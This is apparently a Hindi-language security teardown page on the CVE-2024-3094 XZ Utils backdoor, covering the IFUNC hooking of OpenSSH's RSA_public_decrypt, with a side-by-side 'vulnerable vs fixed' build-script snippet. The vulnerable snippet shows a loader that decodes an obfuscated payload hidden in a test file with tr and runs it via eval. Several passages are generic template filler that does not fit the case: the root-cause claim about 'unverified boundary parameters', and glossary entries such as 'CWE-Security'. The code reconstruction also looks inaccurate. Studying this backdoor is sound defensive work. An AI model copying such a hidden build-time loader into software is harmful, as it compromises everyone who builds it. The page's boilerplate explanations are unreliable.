flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · अति गंभीर
सुरक्षा अनुसंधान · FlawOpen

तकनीकी विश्लेषण: CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

CVE-2024-3094 (XZ Utils बैकडोर) का तकनीकी स्रोत कोड विश्लेषण: कैसे liblzma में IFUNC रिज़ॉल्वर के दुर्भावनापूर्ण संशोधनों ने OpenSSH प्रमाणीकरण को बाधित किया।

💡 आसान भाषा में (ELI5)

कल्पना कीजिए कि एक बैंक मानक पाइपों का उपयोग करके एक सुरक्षित तिजोरी बनाता है। आधिकारिक ब्लूप्रिंट पूरी तरह साफ़ हैं। लेकिन शिपिंग बक्सों को पैक करने वाला फैक्ट्री कर्मचारी पाइप के अंदर एक अदृश्य इलेक्ट्रॉनिक तार छिपा देता है। जब लिनक्स पर पाइप को तिजोरी में फिट किया जाता है, तो वह तार बैंक के मुख्य दरवाजे के ताले (OpenSSH) से जुड़ जाता है, जिससे वह कर्मचारी कभी भी गुप्त रिमोट से तिजोरी खोल सकता है। CVE-2024-3094 में, रिलीज टारबॉल के बिल्ड स्क्रिप्ट के भीतर गुप्त बैकडोर छिपाया गया था ताकि बिना प्रमाणीकरण के SSH पर सीधे रूट अधिकार प्राप्त किए जा सकें।

इस पेज के मुख्य शब्द

Open Source Systems
सुरक्षा अवधारणा (Open Source Systems): Core architecture component affected by CWE-Security.
CWE-Security
सुरक्षा अवधारणा (CWE-Security): Standard Common Weakness Enumeration classification for cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
सुरक्षा अवधारणा (Defense-in-Depth): Multi-layered engineering verification and runtime boundary isolation.

मूल कारण विश्लेषण (Root Cause)

मूल कारण ओपन सोर्स सिस्टम में अनसत्यापित सीमा पैरामीटर हैं, जिससे स्थिति का असंतुलन और सुरक्षा नियंत्रणों को बायपास किया जा सकता है।

हमले का चरण-दर-चरण प्रवाह

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

सोर्स कोड: कमज़ोर बनाम सुरक्षित कार्यान्वयन

✕ कमज़ोर कार्यान्वयन
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ सुरक्षित और सुदृढ़ फ़िक्स
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

इंजीनियरिंग और सिस्टम सुरक्षा चेकलिस्ट